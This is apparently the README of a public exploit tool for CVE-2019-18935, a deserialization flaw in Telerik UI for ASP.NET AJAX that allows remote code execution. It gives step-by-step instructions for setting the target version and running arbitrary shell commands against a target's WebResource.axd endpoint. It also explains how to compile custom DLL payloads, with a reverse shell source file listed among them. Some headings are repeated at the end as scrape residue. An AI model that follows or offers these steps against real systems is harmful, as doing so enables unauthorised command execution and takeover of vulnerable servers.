CVE-2019-18935 Exploit

Remote Code Execution exploit for Telerik UI ASP.NET AJAX through deserialization vulnerability.

How to Run

Step 1: Clone the Project

git clone https://github.com/menashe12346/CVE-2019-18935.git
cd CVE-2019-18935

Step 2: In `CVE-2019-18935.py`, modify line 15:

version = "2017.1.228"  # Replace with target server's Telerik version

Step 3: Run the Exploit

python CVE-2019-18935.py <target_url> <shell_command>
# Example:
python CVE-2019-18935.py http://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau "whoami"

🔧 Building Custom DLL Files

To create a DLL from a different C file (not just reverse shell):

Install Visual Studio (Desktop development with c++) with these components:

MSVC v143 - VS 2022 C++ x64/x86 build tools
Windows 11 SDK
C++ CMake tools for Windows
C++ AddressSanitizer

Build the DLL:

build-dll.bat your_file.c

The DLL will be created in the payloads/ directory.

📋 File Descriptions

CVE-2019-18935_exploit/
├── CVE-2019-18935.py        # Main exploit code
├── RAU_crypto.py            # Telerik encryption/decryption module
├── build-dll.bat            # Script to build DLL files from C code
├── reverse_shell.c          # C source code for reverse shell
└── payloads/                # Directory for Compiled DLL payload files

CVE-2019-18935

Most Popular

CVE-2019-18935 Exploit

How to Run

Step 1: Clone the Project

Step 2: In CVE-2019-18935.py, modify line 15:

Step 3: Run the Exploit

Step 2: In `CVE-2019-18935.py`, modify line 15: